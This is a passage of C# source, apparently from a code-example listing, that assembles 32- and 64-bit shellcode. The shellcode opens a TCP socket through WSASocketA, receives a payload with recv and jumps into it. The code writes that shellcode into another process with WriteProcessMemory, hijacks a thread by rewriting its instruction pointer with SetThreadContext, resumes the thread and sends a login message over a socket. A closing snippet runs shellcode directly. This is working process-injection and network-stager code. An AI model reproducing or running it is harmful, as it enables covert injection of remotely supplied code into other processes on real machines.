                                .MovFakePointerRegisterC(ws2A)
                                //.FakePushBytes(32)
                                .CallFar(getModuleHandleA)
                                .FakePopBytes(32)

                                .PushRegisterA() //+module
                                .PushRegisterA() //+module

                                .NewFakeObject(Shellcode.AsciiCString("WSASocketA"), out wsasockA)
                                .MovFakePointerRegisterD(wsasockA)
                                .MovRegisterAtoC()
                                .FakePushBytes(32)
                                .CallFar(getProcAddress)
                                .FakePopBytes(32)

                                .NewFakeObject(socketData, out sockData)
                                .PushByte(0)
                                .PushByte(0)
                                .MovFakePointerRegister9(sockData)
                                .MovInt64Register8(IPPROTO_TCP)
                                .MovInt64RegisterD(SOCK_STREAM)
                                .MovInt64RegisterC(AF_INET)
                                .FakePushBytes(32)
                                .CallRegisterA()
                                .FakePopBytes(48)

                                .PopRegisterC()  //-module
                                .PushRegisterA() //+socket

                                .NewFakeObject(Shellcode.AsciiCString("recv"), out recv)
                                .MovFakePointerRegisterD(recv)
                                .FakePushBytes(32)
                                .CallFar(getProcAddress)
                                .FakePopBytes(32)

                                .PopRegisterC()  //-socket
                                .PushRegisterA() //+recv
                                .PushRegisterC() //+socket

                                .MovInt64Register9(/*0*/ MSG_WAITALL)
                                .MovInt64Register8(/*bufferlen*/ DefaultMsgSize)
                                .MovInt64RegisterD(memoryAddress)
                                .FakePushBytes(32 + 8) //+aligner

                                .PushInt64(memoryAddress)
                                .JmpRegisterA()

                                .Complete();
            }
            else
            {
                FakeObject ws2A, wsasockA, sockData, recvA;
                shellcodeType = ShellcodeType.Win32;
                shellcode     = new Shellcode86(shellcodeBuffer, shellcodeBufferSize, memoryAddress)

                                .DebugBreak()
                                .SetEntryPoint()

                                .NewFakeObject(Shellcode.AsciiCString("ws2_32"), out ws2A)
                                .PushFakePointer(ws2A)
                                //shellcode.CallFar(GetProcAddress(k32Handle, "LoadLibraryA"));  //loaded by default
                                .CallFar(getModuleHandleA)

                                .PushRegisterA() //+handle

                                .NewFakeObject(Shellcode.AsciiCString("WSASocketA"), out wsasockA)
                                .PushFakePointer(wsasockA)
                                .PushRegisterA()
                                .CallFar(getProcAddress)

                                .NewFakeObject(socketData, out sockData)
                                .PushByte(0)
                                .PushByte(0)
                                .PushFakePointer(sockData)
                                .PushByte((byte)IPPROTO_TCP)
                                .PushByte((byte)SOCK_STREAM)
                                .PushByte((byte)AF_INET)
                                .CallRegisterA()

                                .PopRegisterD() //-handle

                                .PushByte(/*0*/ MSG_WAITALL)
                                .PushInt(/*bufferlen*/ DefaultMsgSize)
                                .PushInt(memoryAddress)
                                .PushRegisterA()
                                .PushInt(memoryAddress) //for later use

                                .NewFakeObject(Shellcode.AsciiCString("recv"), out recvA)
                                .PushFakePointer(recvA)
                                .PushRegisterD()
                                .CallFar(getProcAddress)

                                .JmpRegisterA()

                                .Complete();
            }


            success = WriteProcessMemory(processHandle, new IntPtr(shellcode.RemoteAddress), shellcode.Buffer, shellcode.Size, IntPtr.Zero);
            if (success == false)
            {
                Console.WriteLine("WriteProcessMemory() failed - " + Marshal.GetLastWin32Error());
                return;
            }

            //IntPtr threadHandle = CreateRemoteThread(processHandle, IntPtr.Zero, UIntPtr.Zero, new IntPtr(shellcode.EntryPoint), IntPtr.Zero, NULL, IntPtr.Zero);
            //if(threadHandle == IntPtr.Zero)
            //{
            //    Console.WriteLine("CreateRemoteThread() failed");
            //    err = Marshal.GetLastWin32Error();
            //    return;
            //}

            const string getThreadContextFailed = "GetThreadContext() failed - ";
            const string setThreadContextFailed = "SetThreadContext() failed - ";
            if (isX64)
            {
                CONTEXT64 threadContext = new CONTEXT64()
                {
                    ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER
                };
                success = GetThreadContext(threadHandle, ref threadContext);
                if (!success)
                {
                    Console.WriteLine(getThreadContextFailed + Marshal.GetLastWin32Error());
                    return;
                }

                threadContext.Rsp = (ulong)shellcode.RemoteAddress;
                threadContext.Rip = (ulong)shellcode.EntryPoint;

                success = SetThreadContext(threadHandle, ref threadContext);
                if (!success)
                {
                    Console.WriteLine(setThreadContextFailed + Marshal.GetLastWin32Error());
                    return;
                }
            }
            else
            {
                CONTEXT threadContext = new CONTEXT()
                {
                    ContextFlags = CONTEXT_INTEGER
                };
                success = GetThreadContext(threadHandle, ref threadContext);
                if (!success)
                {
                    Console.WriteLine(getThreadContextFailed + Marshal.GetLastWin32Error());
                    return;
                }

                threadContext.Esp = (uint)shellcode.RemoteAddress;
                threadContext.Eip = (uint)shellcode.EntryPoint;

                success = SetThreadContext(threadHandle, ref threadContext);
                if (!success)
                {
                    Console.WriteLine(setThreadContextFailed + Marshal.GetLastWin32Error());
                    return;
                }
            }

            uint suspendc = ResumeThread(threadHandle);
            if (suspendc == 0xffffffff)
            {
                Console.WriteLine("ResumeThread() failed - " + Marshal.GetLastWin32Error());
                return;
            }

            CloseHandle(threadHandle);
            CloseHandle(processHandle);

            EV0REMOTE_LOGIN loginmsg = new EV0REMOTE_LOGIN(shellcode.RemoteAddress, k32Handle.ToInt64(), getProcAddress.ToInt64(), shellcodeType);
            int             msgsize  = Marshal.SizeOf(loginmsg);
            IntPtr          msg      = Marshal.AllocHGlobal(msgsize);
            Marshal.StructureToPtr(loginmsg, msg, false);
            send(tcpSocket, msg, msgsize, 0);
        }
Ejemplo n.º 14
0
 public static void RunShellcode()
 {
     Shellcode.Run(bin, true);
 }